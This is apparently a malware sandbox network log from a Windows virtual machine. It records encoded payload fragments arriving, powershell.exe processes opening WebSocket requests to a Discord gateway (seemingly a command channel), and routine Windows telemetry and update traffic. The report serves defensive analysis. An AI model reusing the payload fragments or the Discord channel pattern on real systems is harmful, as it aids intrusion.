2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 2b 44 41 6f 41 5e 52 51 4d 41 41 5e 41 41 70 41 41 5e 41 41 56 41 41 5e 41 41 41 55 41 5e 41 41 41 34 4a 5e 41 41 41 41 44 5e 68 4b 41 41 41 5e 41 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 48 5e 76 2f 41 51 41 5e 45 4f 74 48 2f 5e 2f 2f 38 6d 49 5e 41 41 41 41 41 5e 41 34 78 76 2f 5e 2f 2f 78 45 44 5e 66 6e 4d 43 41 5e 41 51 6f 4e 41 5e 67 41 42 69 41 5e 41 41 41 41 41 5e 66 67 59 43 41 5e 41 52 37 4a 77 5e 49 41 42 44 6d 5e 6d 2f 2f 2f 2f 5e 4a 69 41 42 41 5e 41 41 41 4f 4a 5e 76 2f 2f 2f 2f 5e 63 45 51 49 35 5e 65 41 41 41 41 5e 43 41 42 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 4d 51 49 41 42 5e 44 6f 50 41 41 5e 41 41 4a 69 41 5e 42 41 41 41 41 5e 4f 41 51 41 41 5e 41 44 2b 44 41 5e 77 41 52 51 4d 5e 41 41 41 41 75 5e 41 41 41 41 42 5e 51 41 41 Data Ascii: +DAoA^RQMAA^AApAA^AAVAA^AAAUA^AAA4J^AAAAD^hKAAA^AIAAA^AAB+B^gIABH^v/AQA^EOtH/^//8mI^AAAAA^A4xv/^//xED^fnMCA^AQoNA^gABiA^AAAAA^fgYCA^AR7Jw^IABDm^m////^JiABA^AAAOJ^v////^cEQI5^eAAAA^CABAA^AAfgY^CAAR7^MQIAB^DoPAA^AAJiA^BAAAA^OAQAA^AD+DA^wARQM^AAAAu^AAAAB^QAA
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 65 77 30 41 5e 41 41 51 71 41 5e 44 59 72 42 53 5e 68 77 2f 32 46 5e 50 4b 43 63 41 5e 41 41 59 71 41 5e 41 41 36 4b 77 5e 55 6f 6e 51 39 5e 5a 53 51 41 6f 5e 70 41 4d 41 42 5e 69 6f 41 51 69 5e 73 46 4b 48 51 5e 42 43 30 42 2b 5e 44 67 41 41 42 5e 42 54 2b 41 53 5e 6f 41 41 41 41 5e 32 4b 77 55 6f 5e 35 6f 64 4d 59 5e 33 34 4f 41 41 5e 41 45 4b 67 41 5e 41 4f 69 73 46 5e 4b 50 75 6d 46 5e 44 67 41 4b 41 5e 51 44 41 41 59 5e 71 41 42 4d 77 5e 42 41 42 72 41 5e 51 41 41 42 41 5e 41 41 45 53 73 5e 46 4b 4a 59 59 5e 57 31 30 67 42 5e 67 41 41 41 50 5e 34 4f 41 67 41 5e 34 41 41 41 41 5e 41 50 34 4d 41 5e 67 42 46 43 51 5e 41 41 41 49 41 5e 41 41 41 41 45 5e 41 51 41 41 47 5e 41 41 41 41 4f 5e 41 41 41 41 41 5e 5a 41 41 41 41 5e 42 51 41 41 41 5e 42 6f 42 41 Data Ascii: ew0A^AAQqA^DYrBS^hw/2F^PKCcA^AAYqA^AA6Kw^UonQ9^ZSQAo^pAMAB^ioAQi^sFKHQ^BC0B+^DgAAB^BT+AS^oAAAA^2KwUo^5odMY^34OAA^AEKgA^AOisF^KPumF^DgAKA^QDAAY^qABMw^BABrA^QAABA^AAESs^FKJYY^W10gB^gAAAP^4OAgA^4AAAA^AP4MA^gBFCQ^AAAIA^AAAAE^AQAAG^AAAAO^AAAAA^ZAAAA^BQAAA^BoBA
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 44 67 48 5e 2f 2f 2f 2f 30 5e 43 73 41 41 41 5e 59 6d 49 41 59 5e 41 41 41 41 34 5e 2b 2f 37 2f 2f 5e 7a 6a 4c 2f 2f 5e 2f 2f 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 6c 41 67 5e 41 45 4f 75 4c 5e 2b 2f 2f 38 6d 5e 49 41 6b 41 41 5e 41 41 34 31 2f 5e 37 2f 2f 78 45 5e 44 66 6f 45 43 5e 41 41 51 6f 62 5e 41 67 41 42 69 5e 55 6d 4b 68 51 5e 71 41 33 35 2b 5e 41 67 41 45 4b 5e 47 41 49 41 41 5e 59 6c 4a 68 45 5e 42 66 6e 38 43 5e 41 41 51 6f 5a 5e 41 67 41 42 6a 5e 70 55 2f 2f 2f 5e 2f 49 41 63 41 5e 41 41 42 2b 42 5e 67 49 41 42 48 5e 73 78 41 67 41 5e 45 4f 70 54 2b 5e 2f 2f 38 6d 49 5e 41 51 41 41 41 5e 41 34 69 66 37 5e 2f 2f 33 35 38 5e 41 67 41 45 4b 5e 46 67 49 41 41 5e 59 54 41 43 41 5e 44 41 41 41 41 5e 4f 48 50 2b 2f 5e 2f 38 41 41 42 Data Ascii: DgH^////0^CsAAA^YmIAY^AAAA4^+/7//^zjL//^//IAA^AAAB+^BgIAB^HtlAg^AEOuL^+//8m^IAkAA^AA41/^7//xE^DfoEC^AAQob^AgABi^UmKhQ^qA35+^AgAEK^GAIAA^YlJhE^Bfn8C^AAQoZ^AgABj^pU///^/IAcA^AAB+B^gIABH^sxAgA^EOpT+^//8mI^AQAAA^A4if7^//358^AgAEK^FgIAA^YTACA^DAAAA^OHP+/^/8AAB
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 45 5e 4f 66 62 2b 2f 5e 2f 38 6d 49 41 5e 6f 41 41 41 41 5e 34 36 2f 37 2f 5e 2f 78 45 44 46 5e 31 67 54 41 79 5e 41 4e 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 2b 5e 51 45 41 42 44 5e 6e 52 2f 76 2f 5e 2f 4a 69 41 47 5e 41 41 41 41 4f 5e 4d 62 2b 2f 2f 5e 38 34 46 66 2f 5e 2f 2f 79 41 49 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 47 77 49 5e 41 42 44 71 74 5e 2f 76 2f 2f 4a 5e 69 41 45 41 41 5e 41 41 4f 4b 4c 5e 2b 2f 2f 39 2b 5e 44 77 41 41 42 5e 42 4d 42 49 41 5e 6b 41 41 41 42 5e 2b 42 67 49 41 5e 42 48 73 70 41 5e 67 41 45 4f 6f 5e 66 2b 2f 2f 38 5e 6d 49 41 55 41 5e 41 41 41 34 66 5e 50 37 2f 2f 7a 5e 69 57 41 41 41 5e 41 49 41 4d 41 5e 41 41 41 34 62 5e 66 37 2f 2f 78 5e 63 35 4a 77 41 5e 41 41 43 41 45 5e 41 41 41 41 4f 5e 46 33 2b 2f 2f 5e Data Ascii: AE^Ofb+/^/8mIA^oAAAA^46/7/^/xEDF^1gTAy^ANAAA^AfgYC^AAR7+^QEABD^nR/v/^/JiAG^AAAAO^Mb+//^84Ff/^//yAI^AAAAf^gYCAA^R7GwI^ABDqt^/v//J^iAEAA^AAOKL^+//9+^DwAAB^BMBIA^kAAAB^+BgIA^BHspA^gAEOo^f+//8^mIAUA^AAA4f^P7//z^iWAAA^AIAMA^AAA4b^f7//x^c5JwA^AACAE^AAAAO^F3+//^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49760	162.159.135.234	443	8544	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:38 UTC	187	OUT	GET /?v=9&encording=json HTTP/1.1 Connection: Upgrade,Keep-Alive Upgrade: websocket Sec-WebSocket-Key: VaAdp+t3Wysgbc0tpZhxww== Sec-WebSocket-Version: 13 Host: gateway.discord.gg
2024-09-30 16:58:38 UTC	618	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:58:38 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ZHeb7pDkpH1fiIVRj%2BKGU%2BVg5dJRnzi%2BnE1a6vpb9XOPOVjJJ2YBulM3mZBve37sYpcby43ew8wgofdWOZA3Gp63gAJKgZcburTND03bQ%2FKYqXFMDfHMghjwjj8R6rGGR0%2F1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8cb5c2468f614345-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49761	162.159.135.234	443	9064	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:38 UTC	187	OUT	GET /?v=9&encording=json HTTP/1.1 Connection: Upgrade,Keep-Alive Upgrade: websocket Sec-WebSocket-Key: 0Q22eY78naCzrGK6GlNJOg== Sec-WebSocket-Version: 13 Host: gateway.discord.gg
2024-09-30 16:58:38 UTC	612	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:58:38 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDZ7xFkzKQlaWaLbgMM%2Bfh3pupGBYATsP3dVEUTgdUoVi8M7KK2Fcw58glScUCH2uoywzGD7822AFgI3QlnUw3yR0vX7O%2BvwDVXkUjlQJ0y7Wx6ZOERrVc9SD4pZbAmSGgUexA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8cb5c246aee54399-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49762	162.159.135.234	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:38 UTC	187	OUT	GET /?v=9&encording=json HTTP/1.1 Connection: Upgrade,Keep-Alive Upgrade: websocket Sec-WebSocket-Key: /n44b8H3mJDvHC1mW4m8Dw== Sec-WebSocket-Version: 13 Host: gateway.discord.gg
2024-09-30 16:58:39 UTC	614	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Sep 2024 16:58:39 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vfTvT42tp2SkdBdstqrbHV0Oojkqdg5IBu7Iu9JfehWHf9nGdTkabmU5ekW6%2BmDL9g5lh6cearc7ij3TJojQpdsV9dYGhJvd%2Fwk22VqbsaAndl0P8x1UzTs5s%2BbH8pu8kfaogA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8cb5c249ef8542fc-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49763	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:51 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 4d 4c 48 41 75 63 35 65 6b 4f 32 76 37 68 46 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 32 33 32 33 36 64 37 61 61 37 62 66 36 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0MLHAuc5ekO2v7hF.1Context: 3723236d7aa7bf69
2024-09-30 16:58:51 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-30 16:58:51 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 4d 4c 48 41 75 63 35 65 6b 4f 32 76 37 68 46 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 32 33 32 33 36 64 37 61 61 37 62 66 36 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 66 43 6e 7a 53 7a 79 76 51 63 39 2b 49 50 79 57 64 4a 62 61 32 41 52 75 2b 78 4b 55 37 73 39 53 69 79 34 4c 50 5a 78 71 64 79 73 71 2b 6a 73 55 44 32 63 50 4f 43 4e 69 68 79 51 49 69 5a 52 6a 37 66 59 7a 4d 6b 4c 38 61 34 54 51 4d 38 2f 32 4e 49 41 58 58 48 73 74 2f 38 59 4d 4b 66 6b 31 66 61 34 34 47 4a 76 4d 66 4a 46 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0MLHAuc5ekO2v7hF.2Context: 3723236d7aa7bf69<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATfCnzSzyvQc9+IPyWdJba2ARu+xKU7s9Siy4LPZxqdysq+jsUD2cPOCNihyQIiZRj7fYzMkL8a4TQM8/2NIAXXHst/8YMKfk1fa44GJvMfJFN
2024-09-30 16:58:51 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 30 4d 4c 48 41 75 63 35 65 6b 4f 32 76 37 68 46 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 37 32 33 32 33 36 64 37 61 61 37 62 66 36 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 0MLHAuc5ekO2v7hF.3Context: 3723236d7aa7bf69
2024-09-30 16:58:52 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-30 16:58:52 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 4c 54 39 4f 62 42 67 47 55 53 5a 4a 61 71 62 2f 58 4c 72 31 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: hLT9ObBgGUSZJaqb/XLr1A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49764	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:59:04 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=A3DFWFen5CsLoTP&MD=7SevKY14 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-30 16:59:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: b7ccfb71-b581-4d75-82d1-b660ee6cc55a MS-RequestId: d2e62c48-722c-42aa-9859-5aa33fcc183f MS-CV: fnBTBEi0WUmaHika.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 30 Sep 2024 16:59:03 GMT Connection: close Content-Length: 30005
2024-09-30 16:59:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-30 16:59:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49768	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:59:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 48 55 41 43 63 4e 73 71 6b 79 4b 4d 42 4c 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 62 32 39 66 32 62 66 62 32 34 64 61 33 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0HUACcNsqkyKMBLR.1Context: f0b29f2bfb24da39
2024-09-30 16:59:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-30 16:59:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 48 55 41 43 63 4e 73 71 6b 79 4b 4d 42 4c 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 62 32 39 66 32 62 66 62 32 34 64 61 33 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 66 43 6e 7a 53 7a 79 76 51 63 39 2b 49 50 79 57 64 4a 62 61 32 41 52 75 2b 78 4b 55 37 73 39 53 69 79 34 4c 50 5a 78 71 64 79 73 71 2b 6a 73 55 44 32 63 50 4f 43 4e 69 68 79 51 49 69 5a 52 6a 37 66 59 7a 4d 6b 4c 38 61 34 54 51 4d 38 2f 32 4e 49 41 58 58 48 73 74 2f 38 59 4d 4b 66 6b 31 66 61 34 34 47 4a 76 4d 66 4a 46 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0HUACcNsqkyKMBLR.2Context: f0b29f2bfb24da39<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATfCnzSzyvQc9+IPyWdJba2ARu+xKU7s9Siy4LPZxqdysq+jsUD2cPOCNihyQIiZRj7fYzMkL8a4TQM8/2NIAXXHst/8YMKfk1fa44GJvMfJFN
2024-09-30 16:59:19 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 30 48 55 41 43 63 4e 73 71 6b 79 4b 4d 42 4c 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 62 32 39 66 32 62 66 62 32 34 64 61 33 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 0HUACcNsqkyKMBLR.3Context: f0b29f2bfb24da39
2024-09-30 16:59:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-30 16:59:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 64 61 47 78 57 38 4d 76 6b 53 50 66 2f 56 32 4c 35 32 37 34 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: jdaGxW8MvkSPf/V2L5274g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49770	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:59:50 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 75 4c 44 6e 56 64 71 54 50 6b 32 65 6b 4e 77 56 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 38 66 65 65 66 61 36 39 62 33 33 35 35 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: uLDnVdqTPk2ekNwV.1Context: 3e8feefa69b33555
2024-09-30 16:59:50 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-30 16:59:50 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 75 4c 44 6e 56 64 71 54 50 6b 32 65 6b 4e 77 56 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 38 66 65 65 66 61 36 39 62 33 33 35 35 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 66 43 6e 7a 53 7a 79 76 51 63 39 2b 49 50 79 57 64 4a 62 61 32 41 52 75 2b 78 4b 55 37 73 39 53 69 79 34 4c 50 5a 78 71 64 79 73 71 2b 6a 73 55 44 32 63 50 4f 43 4e 69 68 79 51 49 69 5a 52 6a 37 66 59 7a 4d 6b 4c 38 61 34 54 51 4d 38 2f 32 4e 49 41 58 58 48 73 74 2f 38 59 4d 4b 66 6b 31 66 61 34 34 47 4a 76 4d 66 4a 46 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: uLDnVdqTPk2ekNwV.2Context: 3e8feefa69b33555<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATfCnzSzyvQc9+IPyWdJba2ARu+xKU7s9Siy4LPZxqdysq+jsUD2cPOCNihyQIiZRj7fYzMkL8a4TQM8/2NIAXXHst/8YMKfk1fa44GJvMfJFN
2024-09-30 16:59:50 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 75 4c 44 6e 56 64 71 54 50 6b 32 65 6b 4e 77 56 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 38 66 65 65 66 61 36 39 62 33 33 35 35 35 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: uLDnVdqTPk2ekNwV.3Context: 3e8feefa69b33555
2024-09-30 16:59:50 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-30 16:59:50 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 64 6b 52 6f 64 45 45 61 45 47 67 6c 51 4f 76 62 61 64 73 67 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: EdkRodEEaEGglQOvbadsgA.0Payload parsing failed.

Target ID:	0
Start time:	12:58:06
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
